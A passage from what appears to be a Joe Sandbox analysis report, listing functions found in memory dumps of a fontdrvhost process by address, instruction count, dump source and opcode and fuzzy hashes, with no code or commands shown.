Instruction Fuzzy Hash: B6E0ED7194F3C04FCB469B3488AA8443F60EE6721078A41EEC185CF1A3D62D9845C712

Function 00007FFD34591F89 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD34591FA6

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: a2d9e6551860d0a022f4264a78223f542a21507207b1aae34f95fc7b7e6f4d76
Instruction ID: d368485407703f938557a42240569a30ddd2846b1d5ddaca32f74290fae11e74
Opcode Fuzzy Hash: a2d9e6551860d0a022f4264a78223f542a21507207b1aae34f95fc7b7e6f4d76
Instruction Fuzzy Hash: F5E09A6294F3C44FCB06EB3888A98443FA0EE6720078A00EED086CF1A3E62D8849C700

Function 00007FFD3459AC19 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD3459AC36

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 8c63e64de0b6acd48032c9ef932c24801679fb2308512897eb2faed1363e4abd
Instruction ID: aaf28ed586ada2a1745cc8b462ed04d5c18caa4af01a01de5f28a75e40d2cf29
Opcode Fuzzy Hash: 8c63e64de0b6acd48032c9ef932c24801679fb2308512897eb2faed1363e4abd
Instruction Fuzzy Hash: F9E0E5A194E3D44FCB16AB7488668453FA1AE6B21078B45EEC18ACF1A3E62D9849C711

Function 00007FFD3459B148 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78527ccbf340a5d2fc98f99a4102f5d5e084b9dfe07e6a39651e7bcf83ecdf45
Instruction ID: 419888e88f037c26e0eab62f4d79919eb0006101189dc1f90cb35a7299b2738d
Opcode Fuzzy Hash: 78527ccbf340a5d2fc98f99a4102f5d5e084b9dfe07e6a39651e7bcf83ecdf45
Instruction Fuzzy Hash: 95611562F0D9994FFBAADB2884E52A87BE1FF56310F4801BAD54DC31C6DD2CAC419781

Function 00007FFD345925B8 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aab3a6068a8f44110f06b9d2a693272400fef57ba0974608d3a0334493b6e509
Instruction ID: 568c2c938a12beef8f45b4ff3272492f15d8290fa1848bb915b0b0eda29b4048
Opcode Fuzzy Hash: aab3a6068a8f44110f06b9d2a693272400fef57ba0974608d3a0334493b6e509
Instruction Fuzzy Hash: 1741F632F0CA594FEBA9DB58C4A47A977E1EB95320F04057AE40DD72D1CE2C6C84CB81

Function 00007FFD34560908 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70b39af699e79c17fd18832147968019b6e7dd1b1b2a1a1ad00ae19ae8ffb0f7
Instruction ID: 05a90d4d70d8b2052adf006a9099d1ea44fe35d62e3abbf4947dfb527d74df3a
Opcode Fuzzy Hash: 70b39af699e79c17fd18832147968019b6e7dd1b1b2a1a1ad00ae19ae8ffb0f7
Instruction Fuzzy Hash: C321073170DC184FE768EA0CE88ADB973D1EF9A32131111BAE58EC7166E915FC8287C1

Function 00007FFD34561171 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ba064f7ace26ab98f5533628921627f7a84394eb758da63b54b1a08a9ee2ab
Instruction ID: 1336d8de719215bbf9e2f45b9fc83dd87e6c5d2196f3940dce0e9b2532481136
Opcode Fuzzy Hash: 96ba064f7ace26ab98f5533628921627f7a84394eb758da63b54b1a08a9ee2ab
Instruction Fuzzy Hash: D3317231A0C68A8FDB46EB64C8A59B97BF1EF1B310B0805FBD049D71A3DA2C9845CB51

Function 00007FFD34560C25 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ee992d48ce40efb8b56e2b80662a6d8814d1dede73db94a8983a1e71899b25
Instruction ID: 8e6dbb530fc6496405b9985901f6bca5b991d77022cc67ebc2ec0e575901d0be
Opcode Fuzzy Hash: 81ee992d48ce40efb8b56e2b80662a6d8814d1dede73db94a8983a1e71899b25
Instruction Fuzzy Hash: 7721B127F0D6899FE713A76898610EDBB60EF53330F1452B2D148CA192DA2C69469681

Function 00007FFD345646FE Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd324d9f0fcbe24f5ec4be7d69cc0d41fa31b05318bfb7aeffe34a1140a2ef8
Instruction ID: bfc2cdc866be95d5a932126b1e5b8a49613291bbe1902d7103a215f36ff305fc
Opcode Fuzzy Hash: 2cd324d9f0fcbe24f5ec4be7d69cc0d41fa31b05318bfb7aeffe34a1140a2ef8
Instruction Fuzzy Hash: F0216831E0C82E4EEB95EB18D8A46B862E1FF57321F5421B9D54EE3292DF2C6C419744

Function 00007FFD345608F8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4f3c26d9e1a3cdb7077d93d1b43c366cfb3a3d234172c17bd15baeda0a5078
Instruction ID: 5259cad82f6ded46ae330144746009d48002be112cdc8c684a468471eea4e256
Opcode Fuzzy Hash: cf4f3c26d9e1a3cdb7077d93d1b43c366cfb3a3d234172c17bd15baeda0a5078
Instruction Fuzzy Hash: F501F732F4E92D0B9669D41D989A936B3C2DBCBB307152279E98FC3245DD28AC5356C0

Function 00007FFD34560C38 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26cd31a007bd143943e23dd972c97510eb7acdbfa02cbfefbe7b7e9c8eae5bc
Instruction ID: 6201d993d8fc003ef434820ecf6f20fed1ae0bc34c3b8ca029e66b1ddafab57d
Opcode Fuzzy Hash: e26cd31a007bd143943e23dd972c97510eb7acdbfa02cbfefbe7b7e9c8eae5bc
Instruction Fuzzy Hash: AE11A036F0E68D9FF713DB2888A11ADBFA0EF43720F1555B2C144DB192EA3C5A469781

Function 00007FFD34560C48 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cb90daa4278aadba33b2ae909e710c06c14e580c5852a5b5d00613605b38984
Instruction ID: 41562da05579added6d87a0087471974e0f594298f5713fbf2fa797b637c9cab
Opcode Fuzzy Hash: 8cb90daa4278aadba33b2ae909e710c06c14e580c5852a5b5d00613605b38984
Instruction Fuzzy Hash: 15016936E0D2899FEB12DB6888A009DBFB0AF43320F1551B6C544DB192EA3C5A45EB81

Function 00007FFD3456480A Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f859a5656836d77494a98f94a1655e68e525d03b7fd17e3130365e9a7ebba587
Instruction ID: 402209cd714baf1f9c6315894657b9ddb7ed46ae0655a2723fb04b5860e3d389
Opcode Fuzzy Hash: f859a5656836d77494a98f94a1655e68e525d03b7fd17e3130365e9a7ebba587
Instruction Fuzzy Hash: BA016D31F0C41A4FEA99FB2894A46B862D2EF57321F0550B5D54ED3292DE2CAC429644

Function 00007FFD345744DF Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a60b487ac9dc80aef4c7dc216361cada9875268a70e7e10dab817302f42a9065
Instruction ID: 70de804c1a65ca93f0e52f2cbaf82cd4dc1e6bea2e85da439315c936527989d5
Opcode Fuzzy Hash: a60b487ac9dc80aef4c7dc216361cada9875268a70e7e10dab817302f42a9065
Instruction Fuzzy Hash: 46018F71F0C40B8BFB55AB84C8A46BE7BE4EF42306F004536D655D62D4CF7CA9419B80

Function 00007FFD34560C50 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1148d6377518ce851e27891ff249282026dafd9fb6c473c557b6f80bfa0906b1
Instruction ID: 2daa9ec87ee28ae2cbba66ac538e2116de47b4015cf53b187475cbab50b52308
Opcode Fuzzy Hash: 1148d6377518ce851e27891ff249282026dafd9fb6c473c557b6f80bfa0906b1
Instruction Fuzzy Hash: CA015A35E0D3899FEB12DB6888A409DBFB0AF03320F1451E6C544DB192EA3C5A44E741

Function 00007FFD345647D6 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a3e1c098371154e84161bfe5def8e367da0d0abf3e15046623435b37b434a1b
Instruction ID: 8763f95ddf90e4aea5c17e129fe925895bd5189fe5287db146f6a03a5ebaa79a
Opcode Fuzzy Hash: 1a3e1c098371154e84161bfe5def8e367da0d0abf3e15046623435b37b434a1b
Instruction Fuzzy Hash: 17F05431F0C4294AEB96EA14D8A46B86391EF57331F1421B9D94ED31D2CE2C6D835648

Function 00007FFD3459AB89 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2284ba2e2f83360b54e2af326e0c6aeca67fbee903495846284ba7d7edba427
Instruction ID: 53ad634fe0f8278ef28ac9545c6f2c0681dfdd970f46db38c0805c17f98cb0a3
Opcode Fuzzy Hash: e2284ba2e2f83360b54e2af326e0c6aeca67fbee903495846284ba7d7edba427
Instruction Fuzzy Hash: 80F0E521B0CBC40FC76A963D48A50617FF1DB9B21234A02FFC586CB2A3ED58EC868341

Function 00007FFD34574C20 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3e7b14d706b0bb96c290e7903d6db0490709abddbd41da37acc68952f82bbc0
Instruction ID: 58ead995a69b421613d6428f87f2f335a6dfe4ccacc121e5ab5997ab40af4249
Opcode Fuzzy Hash: c3e7b14d706b0bb96c290e7903d6db0490709abddbd41da37acc68952f82bbc0
Instruction Fuzzy Hash: CEF03730F0C5178BE71A9A089C906B57292FF57312B118175D59AC21CADE3CE851A784

Function 00007FFD3456393E Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fa61e1bc2d34c25b291fb6c8e3c7e53dd1c83a71e6d7df43dcb9f134149b047
Instruction ID: 90851bd60e6674cc9f421617cbf7425d049d199c3d12c1ca61b2ee90d0651e7c
Opcode Fuzzy Hash: 0fa61e1bc2d34c25b291fb6c8e3c7e53dd1c83a71e6d7df43dcb9f134149b047
Instruction Fuzzy Hash: 4DF01C31E0C0064BFB959644C4A0BBA33A5DF56320F181079DA4ED32C1DD2CA9419709

Function 00007FFD345799FA Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d4160f7d7d45aa6afc0f65b8701cdcb5325b32ebcc20e93dbe3175103bd4169
Instruction ID: 5fe61b2fd74f5c4edb89fdd7b7305db599876668cb0338d510344d5334f49575
Opcode Fuzzy Hash: 3d4160f7d7d45aa6afc0f65b8701cdcb5325b32ebcc20e93dbe3175103bd4169
Instruction Fuzzy Hash: 03F0A031E0C51D8FEB91EF04C890BA933A2EB05310F6182B6D90CD72D2DE3CAE009B80

Function 00007FFD3459DB99 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0b67b36310c943b4f89911a8ed630009b31e52bda9fefea2284e4cfb7e695b0
Instruction ID: aaae7b56b049d69ffe1de3f10b6d7e0f53bf70c582e664d72295edb4e0bb8510
Opcode Fuzzy Hash: c0b67b36310c943b4f89911a8ed630009b31e52bda9fefea2284e4cfb7e695b0
Instruction Fuzzy Hash: FEE01A6294E7C04FCB4B9B3588A98843FB0AE5722174A40EBC185CF5A3D61D9849C712

Function 00007FFD34575658 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e3852c7be42877991b74dc0ef8482ab11ca37e0199196fea86171960c8f4743
Instruction ID: 72573e119026f9aefd43365c2521c28195831e44b4f8615d7e0408690d03129b
Opcode Fuzzy Hash: 7e3852c7be42877991b74dc0ef8482ab11ca37e0199196fea86171960c8f4743
Instruction Fuzzy Hash: C3D05E30B6090D4B8B5CA62D8468430B3D1E7AA2067D45278940BC2285ED29ECC68B80

Function 00007FFD34573F20 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FFD3459A660 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD34597B29 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b28a44d14c23b5b8c8d4cc29608b605f119cb6621a96d23c971fb90ea208684
Instruction ID: 1249d3f547a784178b25b36bbd9e131ef276a7f341a9e8fb41a9c6df6696d544
Opcode Fuzzy Hash: 9b28a44d14c23b5b8c8d4cc29608b605f119cb6621a96d23c971fb90ea208684
Instruction Fuzzy Hash: 67E01A2294E7C08FC74B9B3488B99557FA0DE1721174A40EAC145CF5A3EA1D8849C702

Function 00007FFD3459A730 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD3459DB19 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38dd33352cd2da05a2d947a07dc06f6245a8e0b2ec56bb027e340bdf51e876af
Instruction ID: 4a6833d773f23534c5084bd77748d04f2566d3450c56826d465175971905811f
Opcode Fuzzy Hash: 38dd33352cd2da05a2d947a07dc06f6245a8e0b2ec56bb027e340bdf51e876af
Instruction Fuzzy Hash: C5E01A2294E7C04FC74B973588A98453FB09E2721174A40EBC145CF1A3DA1D8849C702

Function 00007FFD34560B95 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1655bf586bd510a0444da9578f040976055379fdba1b0be01a33af2343bf41be
Instruction ID: 97261e78cb310111d530b83f7af1a2dd14e57a6d62dddd683722aa4715897ae2
Opcode Fuzzy Hash: 1655bf586bd510a0444da9578f040976055379fdba1b0be01a33af2343bf41be
Instruction Fuzzy Hash: ABD0A73066954A4FDA01B73CC8898547BA0EB0F224BD510F1D009C7561D50D4C558B00

Function 00007FFD34591FA0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD345970C0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31d8b962ad8697e016be0419b8b3746812643610956d0d679795cb27cfcbcbb5
Instruction ID: f5ca09311e8789320849b0786d40d137b301b974e371f541c62c5882e0a52137
Opcode Fuzzy Hash: 31d8b962ad8697e016be0419b8b3746812643610956d0d679795cb27cfcbcbb5
Instruction Fuzzy Hash: 7FD01234B509044F871CA63888A987473A1EB6A21679550A9D00ACB3B1EA6ADC89C741

Function 00007FFD3459B9E0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11f0e614b61dd8402b1f6cef3bf42be3e8dbf3004db8f484bdd3684dcb90d91b
Instruction ID: 1a367c1b0016e4e05edaa1a4954a86f81f7ea367d6dee60520e35c18205a4a80
Opcode Fuzzy Hash: 11f0e614b61dd8402b1f6cef3bf42be3e8dbf3004db8f484bdd3684dcb90d91b
Instruction Fuzzy Hash: 3DD01234B619044F871CAA3888A987473A1EB6A21679540A9D40AC72B1DE6ADC89DB41

Function 00007FFD34560CBF Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 623355c4c761995da0b65237a2ec80d23bbe5063140a0c10700039931d7a4e64
Instruction ID: 742d2502906de8fc2a2c6c1b05cb9bbd5b5e2fb4d8f3e1f54805611e23c2c237
Opcode Fuzzy Hash: 623355c4c761995da0b65237a2ec80d23bbe5063140a0c10700039931d7a4e64
Instruction Fuzzy Hash: C9E01735F0960ACBFB01EB54C4D46AEB7A1EB52721F1082B5C501C7289DB7CA684EA80

Function 00007FFD345606A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
Instruction ID: de2ea020ad61640ef8e40a0b67cdc873ade2ef5fac3099df56b1d3f84cd23727
Opcode Fuzzy Hash: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
Instruction Fuzzy Hash: BFC04C06F5E51F01B417B56E54E60ACB2415BD7A70FD52172D70CD10C19D8D20D5A156

Function 00007FFD345612E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad9b737f9d3a71b5a47652e042b9bbfd47591b0a6598e927983330d6249448c
Instruction ID: a50990506d9201a2f15d54500c1484066e0405552ff1ffe2eb2556d764c299cd
Opcode Fuzzy Hash: 3ad9b737f9d3a71b5a47652e042b9bbfd47591b0a6598e927983330d6249448c
Instruction Fuzzy Hash: 88C04C34A518098FCA48EB69C89591477A0FB1A215BD61190E409C7271E65DDCD5D741

Function 00007FFD345659C7 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b879461ba45081c13b252f2cda251c3792a7d18d45fbd4d9e80ef62ea85ac5d6
Instruction ID: 7ef22ee12f0d9d04a2c6fd74adfa2b236bb7839dcdc839e5105e391e8ba6fee9
Opcode Fuzzy Hash: b879461ba45081c13b252f2cda251c3792a7d18d45fbd4d9e80ef62ea85ac5d6
Instruction Fuzzy Hash: 07C08C01F0C81702F12A238840312BD84426B40304F8000B4E00DDA2C6CE1C9F0243C6

Function 00007FFD345606C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
Instruction ID: b3c5cdccc0aa1ee8565224c2d76708e0fed1863bf9f8249f2238a3161b01cd25
Opcode Fuzzy Hash: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
Instruction Fuzzy Hash: 88B01200D6640F00A40A357A08D20A470405B46120FC02070D60CC1081988D10942242

Non-executed Functions

Function 00007FFD34570622 Relevance: 9.0, Strings: 7, Instructions: 299COMMON

Download Yara Rule

Strings

L_^9, xrefs: 00007FFD3457076A
L_^$, xrefs: 00007FFD345706C2
#<L, xrefs: 00007FFD34570897
L_^%, xrefs: 00007FFD345706C9
L_^1, xrefs: 00007FFD3457072A
L_^:, xrefs: 00007FFD34570772
^+=, xrefs: 00007FFD3457078E

Memory Dump Source

